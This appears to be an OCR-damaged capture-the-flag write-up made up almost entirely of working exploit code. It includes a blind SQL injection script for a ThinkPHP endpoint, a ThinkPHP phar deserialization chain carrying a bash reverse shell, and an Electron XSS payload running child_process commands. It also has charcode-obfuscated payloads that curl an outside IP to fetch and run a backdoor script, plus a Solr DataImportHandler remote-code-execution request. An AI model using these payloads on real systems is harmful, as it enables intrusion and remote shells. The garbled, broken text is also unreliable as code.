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TFAESqQUEN, VENMA:

/?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaag%20from%20flag),{},1))={},sleep(6),1)%23

ENRA

import requests
import sys

import string

sys.argv[1]

url.rstrip('/")

url+'?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select flaag from fl4g),{},1))={},sleep(6),1)%23"
i in xrange(1,50):

for j in xrange(45,127):

try:

a = requests.get(url.format(i,j),timeout=3)
except:

flag+=chr(j)

print flag
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exp:

<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function _ construct($files)

{
$this->files = array($files);

namespace think\model\concern {
trait Conversion

{
protected $append array("Zedd" => "1");

trait Attribute
{
private $data;
private $withAttr = array("Zedd" => "system");

public function get($system)

{
$this->data = array("Zedd" => "$system");

namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;

namespace think\model{
use think\Model;
class Pivot extends Model
{

public function __ construct($system)

{
$this->get($system);

namespace {
$Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/—A"IP/2015 0>&1'");

$payload = new think\process\pipes\Windows($Conver);

ini_set('phar.readonly',0);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //JE%4%& b Aphar




$phar->startBuffering();

$phar->setStub("GIF89a<?php _ HALT COMPILER(); ?>"); //¥H&stub
$phar->setMetadata($payload); //# HE X meta-dataff Amanifest
$phar->addFromString("test.txt", "test"); //#HINEESEKIC1E
/BB ENITE

$phar->stopBuffering();

rename( 'phar.phar', 'phar.xml");
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B 55T IRXSS XSSH) M REMWI B2 js_to_run AKIBIEFFEs, 4R B Frheaderdb FAE i yE Tk ki,  [H itk R B8 Mdescriptiont
ANF.

KRR 4581 ?
fEchrome T import B&¥UAT ISR 3| AMERSMEs, ZREA FIR S ME R 6 B A& #jsii 2 content-type Z 3K . AT EEH

description:

"Ys;import("http://xxx.xxx.xxx.xxx/test.js");//
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let originProper=0bject.defineProperty;
Object.defineProperty=function(...args){
if(args.length==3 && args[l]=='name' && args[2].value=='WebContents"'){
Object.defineProperty=originProper;
let currentContents=args[0]();
currentContents.hostWebContents.executeJavaScript("require('child_process').exec('open -a Calculator')")
}
return originProper(...args);
}
play();

exp:
crack.php

0, 5) === $argv[1])die($code);




<?php

/ /i %€ JoVE HAt 344 T 1)

header('Access-Control-Allow-Origin:*");//—f&HiE ¢, HREH, HBEE) , 3RENARARGFEHINELMcookies
/[ RE RFEEIERIBEINIEEER (cookies) ,iZ%fH REERtrue, & NAKR[E
header('Access-Control-Allow-Credentials:true');

header('Content-Type:text/javascript');

?>
let originProper=0bject.defineProperty;
Object.defineProperty=function(...args){

if(args.length==3 && args[l]=='name' && args[2].value=='WebContents"'){

Object.defineProperty=originProper;

let currentContents=args[0]();

let js="require('child_process').exec('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"");"
currentContents.hostWebContents.executeJavaScript(js)

}

return originProper(...args);

play();

send2.py.



#tcoding=utf-8
import requests
import os

import json
t=requests.session();

m=t.get('http://127.0.0.1:9999/code.php"').json()

print m

s=m[ 'code" ]

code=0s.popen( 'php crack.php '+s).read().strip()

music_info={"'header':'xxx', ' 'title"':'xxxx"', 'desc':"\uff@7\uff5d;eval(String.fromCharCode(111,112,101,110,40,34,10|
4,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,
117,99,104,36,73,70,83,36,57,47,116,109,112,47,115,117,99,99,101,115,115,41,59,35,47,97,115,100,97,115,100,97,11]
5,100,37,48,48,37,49,48,34,41))//"};

music_info[ 'header']="http://www.baidu.com’ } **/;eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112
,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,
36,57,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100,
102,108,97,103,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,39,41))//'#111,112,101,110,490, 34, 1]
04,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,10
8,36,73,79,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,59,35,47,97,115,100,97,115,100,97, 115,
100,37,48,48,37,49,48,34,41))// '#eval (String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120
,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46
,55,57,46,49,56,46,49,55,49,47,98,97,99,107,115,104,101, 108,108, 46,115,104, 36,73, 70, 83,36,57,45,111,36,73,790, 83,
36,57,47,116,109,112,47,98,97,99,107,115,104,101,108,108,46,115,104,59,35,47,97,115,100,97,115,100, 97,115, 100, 37
,48,48,37,49,48,34,41))// '#eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120, 1]
20,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,117,99,104,36,73,70,83,36,57,47,116,
109,112,47,115,117,99,99,101,115,115,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41) ) ;eval
(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70, 37,66
,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,47,98,97,
99,107,115,104,101,108,108,46,115,104,36,73,70,83,36,57,45,111,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,
115,104,101,108,108,46,115,104,59,98,97,115,104,36,73,790,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108
,108,46,115,104,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//"#xa))eval(String.fromChar(
ode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59, 4
7,37,51,66,47,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,47,98,97,99
,107,115,104,101,108,108,46,115,104, 36,73, 70,83, 36,57,45,111,36,73,790,83,36,57,47,116,109,112,47,98,97,99,107,11
5,104,101,108,108,46,115,104,59,98,97,115,104,36,73,790,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108, 1
08,46,115,104,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//"'#

music_info[ "header']="http://www.baidu.com’ } **/;eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,11
2,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,117,99, 104, 3
6,73,70,83,36,57,47,116,109,112,47,115,117,99,99,101,115,115,41,59, 35,47,97,115,100,97,115,100,97, 115,100, 37,48,
48,37,49,48,34,41))//"

print music_info;
print t.post('http://127.0.0.1:9999/"',{"'id"':'2676003690"', 'code':code, 'music’':json.dumps(music_info)}).content
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import socket

reql = '''GET /socket.io/?transport=websocket HTTP/1.1
Host: localhost:80

Sec-WebSocket-Version: 1337

Upgrade: websocket

"''.replace('\n', '\r\n')

req2 = '''POST /solr/mail/dataimport?dataConfig=%3CdataConfig%3E%0@A%3CdataSource%20name%3D%22streamsrc%k22%20type
53D%22ContentStreamDataSource’%22%20loggerlLevel’%3D%22TRACE%22%20/%3E%OA%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20%
20%20%20%20%20%20%20function%20poc’%28row%29%7B%0OA%20%20%20%20%20%20%20%20var%20j%3Dnew%20java. io. BufferedReadery
28new%20java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22/readflagk22%29.getInputStreamy
28%29%29%29%3B%0OA%20%20%20%20%20%20%20%20var%201ine%3D]j . readLine%28%29%3B%0A%207%20%20%20%20%20%20%20var%20res%3D|
1622%22%3B%0OA%207%20%20%20%20%20%20%20while%281ine%21%3Dnull%20%26%26%201ine%21%3Dundefined%29%7B%0A%20%20%20%20%2
0%20%207%20%20%20%20%20res%3Dres%2Bline%3B%0A%20%20%20%20%20%20%20%20%20%20%20%2011ine%3Dj . readLine’%28%29%3B%0A%20|
1620%20%20%20%207%20%20%7D%0A%09%09row . put%28%22title_s%22%2Cres%29%3B%0OA%09%09return%20row’%3B%0A%09%7D%0A%20%20%5
D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0OA%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%2)
0%20%207%20%20%20%20%20name%3D%22streamxml’%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrcl%22%0A%207%207%20)
%620%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20
620%20%207%20%20%20forEach%3D%22/books /book%22%0A%20%20%207%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0
N%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template%3D%22some%20static%20payload%22/
%3E%0A%207%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E
650A%20%20%20%20%3C/entity%3E%0A%3C/document%3E%0A%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-type: application/xml

X-Requested-With: XMLHttpRequest

Content-Length: 135

Connection: close

Referer: http://localhost:8983/solr/

Cookie: csrftoken=gzcSR6S]j3SWd3v4ZxmV50cZuPKbOhI6CMpgp5vIMvrSwQALAstMtxIqL2sUE8INiI; sessionid=snzojzqa5zn187oghf
P6z6x0dulpohpr

<?xml version="1.0" encoding="utf-8"?>
<books>

<book>

<name>NAME1</name>

</book>

<book>

<name>NAME2< /name>

"\r\n")

def main(netloc):

host, port = netloc.split(':")

sock = socket.socket(socket.AF_INET, socket.SOCK STREAM)
sock.connect((host, int(port)))

sock.sendall(reql)




print data

print '[+]connection finished'
print req2

sock.sendall(req2)

data = sock.recv(409600)

data = data.decode(errors="'ignore"')

print data

#tsock.shutdown(socket.SHUT_RDWR)

sock.close()

if _ name__ __main__ ":

main('127.0.0.1:3000")
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